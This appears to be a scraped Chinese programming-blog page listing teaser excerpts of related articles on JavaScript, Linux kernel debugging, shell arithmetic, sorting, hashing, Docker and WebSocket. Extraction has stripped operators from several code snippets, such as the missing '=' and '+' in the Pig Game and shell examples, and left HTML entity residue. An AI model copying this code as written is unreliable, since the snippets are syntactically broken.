如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JavaScript_Pig Game切换当前玩家

const current0El document.getElementById(current--0); const current1El document.getElementById(current--1); if (dice ! 1) {currentScore dice;current0El.textContent currentScore;} else {} });这是我们上个文章写的代码&#xff0c;这个代码明显是有问题的&…

[量化投资-学习笔记003]Python+TDengine从零开始搭建量化分析平台-Grafana画K线图

在前面两个笔记&#xff1a; PythonTDengine从零开始搭建量化分析平台-数据存储 PythonTDengine从零开始搭建量化分析平台-MA均线的多种实现方式 中有提到使用 Grafana 画图&#xff0c;不过画的都是均线。除了均线&#xff0c;Grafana 非常人性的提供了 K线图模块 搭配 TDeng…

VScode 调试 linux内核

VScode 调试 linux内核 这里调试的 linux 内核是通过 LinuxSD卡(rootfs)运行的内核 gdb 命令行调试 编辑 /home/tyustli/.gdbinit 文件&#xff0c;参考 【GDB】 .gdbinit 文件 set auto-load safe-path /home/tyustli/code/open_source/kernel/linux-6.5.7/.gdbinit在 lin…

Cross Site Scripting (XSS)

攻击者会给网站发送可疑的脚本&#xff0c;可以获取浏览器保存的网站cookie&#xff0c; session tokens, 或者其他敏感的信息&#xff0c;甚至可以重写HTML页面的内容。 背景 XSS漏洞有不同类型&#xff0c;最开始发现的是存储型XSS和反射型XSS&#xff0c;2005&#xff0c;Am…

Linux中shell脚本中的运算

目录 一、运算符号 二、运算指令 三、练习 一、运算符号 加法-减法*乘法/除法%除法后的余数**乘方自加一--自减一 <小于<小于等于>大于>大于等于等于ji&#xff0c;jji*jj*i/jj/i%jj%i 二、运算指令 (()) ##((a12)) let ##let a12 expr ##expr 1 2 …

【数据结构】交换排序

⭐ 作者&#xff1a;小胡_不糊涂 &#x1f331; 作者主页&#xff1a;小胡_不糊涂的个人主页 &#x1f4c0; 收录专栏&#xff1a;浅谈数据结构 &#x1f496; 持续更文&#xff0c;关注博主少走弯路&#xff0c;谢谢大家支持 &#x1f496; 冒泡、快速排序 1. 冒泡排序2. 快速…

城市群(Megalopolis)/城际(inter-city)OD相关研究即Open Access数据集调研

文章目录 1 城市群/城际OD定义2 理论模型与分析方法2.1 重力模型 Gravity Model2.2 干预机会模型 Intervening Opportunities Model2.3 辐射模型 Radiation Model 3 Issues related to OD flows3.1 OD Prediction3.2 OD Forecasting3.3 OD Construction3.4 OD Estimation 4 OD …

基于单片机的智能电子鼻的设计

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 技术交流认准下方 CSDN 官方提供的联系方式 文章目录 概要 一、智能电子鼻系统的设计方案1.1智能电子鼻系统的设计思路1.2智能电子鼻系统的设计流程图1.3智能电子鼻系统的硬件数…

source insight4菜单工具按钮变乱恢复

目录 1&#xff1a;问题现象2&#xff1a;修改方式2.1 找到config_all.xml2.2 修改config_all.xml 1&#xff1a;问题现象 在source insight4点击工具按钮的时候&#xff0c;把工具全部都折叠了&#xff0c;然后手动拉出来的时候就乱了。 2&#xff1a;修改方式 2.1 找到con…

【多线程面试题 三】、 run()和start()有什么区别?

文章底部有个人公众号&#xff1a;热爱技术的小郑。主要分享开发知识、学习资料、毕业设计指导等。有兴趣的可以关注一下。为何分享&#xff1f; 踩过的坑没必要让别人在再踩&#xff0c;自己复盘也能加深记忆。利己利人、所谓双赢。 面试官&#xff1a; run()和start()有什么区…

ffmpeg中examples编译报不兼容错误解决办法

ffmpeg中examples编译报不兼容错误解决办法 参考examples下的README可知&#xff0c;编译之前需要设置 PKG_CONFIG_PATH路径。 export PKG_CONFIG_PATH/home/user/work/ffmpeg/ffmpeg/_install_uclibc/lib/pkgconfig之后执行make出现如下错误&#xff1a; 基本都是由于库的版…

stm32的ADC采样率如何通过Time定时器进行控制

ADC采样率是个跟重要的概念. 手册上说可以通过Timer定时器进行触发ADC采样. 可我这边悲剧的是, 无论怎么样. ADC都会进行采样. 而且就算是TIM停掉也是一样会进行采样. 这就让我摸不着头脑了… 我想通过定时器动态更改ADC的采样频率. 结果不随我愿… 这到底是什么问题呢? 一…

哈希算法:如何防止数据库中的用户信息被脱库?

文章来源于极客时间前google工程师−王争专栏。 2011年CSDN“脱库”事件&#xff0c;CSDN网站被黑客攻击&#xff0c;超过600万用户的注册邮箱和密码明文被泄露&#xff0c;很多网友对CSDN明文保存用户密码行为产生了不满。如果你是CSDN的一名工程师&#xff0c;你会如何存储用…

uniapp实现webview页面关闭功能

实现思路&#xff1a; 1.关闭按钮是使用原生button添加的close属性。&#xff08;见page.json页面&#xff09; 2.监听关闭按钮的方法。&#xff08;onNavigationBarButtonTap&#xff09; 3.写实现关闭webview所有页面的逻辑。 废话不多说&#xff0c;直接上代码 1.page.…

【每日一题】合并两个有序数组

链接奉上&#xff1a;合并两个有序数组 目录 直接合并后排序&#xff1a;思路&#xff1a;代码实现&#xff1a; 双指针思路&#xff1a;代码实现&#xff1a; 直接合并后排序&#xff1a; 思路&#xff1a; 将nums2直接合并到nums1后边&#xff0c;并进行排序 代码实现&…

【多线程面试题 六】、 如何实现线程同步?

文章底部有个人公众号&#xff1a;热爱技术的小郑。主要分享开发知识、学习资料、毕业设计指导等。有兴趣的可以关注一下。为何分享&#xff1f; 踩过的坑没必要让别人在再踩&#xff0c;自己复盘也能加深记忆。利己利人、所谓双赢。 面试官&#xff1a; 如何实现线程同步&…

docker镜像仓库

Hlarbor harbor是一个开源的云原生镜像仓库&#xff0c; 它允许仓库用户存储&#xff0c;使用docker镜像。可以将harbor看做是私有的dockerhub&#xff0c;它提供了更新安全性和控制性&#xff0c; 让组织能够安全的存储和管理镜像。 harbor RBAC&#xff1a;基于角色访问控制…

html/css/javascript/js实现的简易打飞机游戏

源码下载地址 支持&#xff1a;远程部署/安装/调试、讲解、二次开发/修改/定制 视频浏览地址

ASP.NET WebApi 极简依赖注入

文章目录 环境服务类启动项注入使用依赖注入的优点 环境 .NET Core 7.0ASP.NET CoreVisual Studio 2022 服务类 public class T_TempService {public T_TempService(){}public void Test(){}}启动项注入 #region 依赖注入 builder.Services.AddTransient<T_TempService&g…

springBoot与Vue共同搭建webSocket环境

欢迎使用Markdown编辑器 你好&#xff01; 这片文章将教会你从后端springCloud到前端VueEleementAdmin如何搭建Websocket 前端 1. 创建websocket的配置文件在utils文件夹下websocket.js // my-js-file.js import { Notification } from element-ui // 暴露自定义websocket对…